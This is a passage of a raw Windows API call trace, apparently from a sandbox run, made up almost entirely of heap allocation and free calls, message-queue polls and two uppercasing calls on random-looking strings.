hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0133.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13c0 [0133.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0133.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0133.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13e8 [0133.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769e8 [0133.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0133.974] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0133.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0133.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068428 [0133.974] CharUpperBuffW (in: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV", cchLength=0x1d | out: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV") returned 0x1d [0133.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068428 | out: hHeap=0xe80000) returned 1 [0133.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf2b8 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0133.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf268 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0133.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf408 [0133.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0133.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf3a8 [0133.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf308 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a18 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14b0 [0133.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0133.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14d8 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1500 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2e8 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1528 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076970 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0133.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068278 [0133.981] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18c0 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0133.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1938 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0133.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.981] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1988 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf258 [0133.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1780 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0133.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0133.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0133.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.982] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1848 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015640 [0133.982] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0133.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0133.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0133.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0133.983] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0133.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0133.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0133.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0133.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0133.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec32f8 [0133.983] CharUpperBuffW (in: lpsz="DJVLLWQLKATZJRZPICPARXZ", cchLength=0x17 | out: lpsz="DJVLLWQLKATZJRZPICPARXZ") returned 0x17 [0133.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec32f8 | out: hHeap=0xe80000) returned 1 [0133.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf338 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d18 [0133.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf348 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0133.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076c70 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cb8 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068038 [0133.985] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0133.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0133.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.985] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0133.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0133.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.986] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1898 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bc8 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0133.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0133.986] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0133.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0133.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0133.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.987] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0133.987] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18e8 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bf8 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0133.987] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bf8 | out: hHeap=0xe80000) returned 1 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e40 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0133.987] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9eb8 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bf8 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0133.987] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bf8 | out: hHeap=0xe80000) returned 1 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3170 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0133.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0133.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.988] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.988] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9a80 [0133.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0133.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0133.988] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0133.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0133.989] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9a80 | out: hHeap=0xe80000) returned 1 [0133.989] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.989] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0133.989] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.989] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.989] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.989] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0133.989] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0133.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0133.990] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0133.990] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0133.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0133.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.990] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.990] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0133.990] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.991] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0133.991] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0133.991] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.991] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0133.991] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0133.991] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0133.991] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.991] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.991] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.991] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0134.012] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0134.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0134.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0134.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0134.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 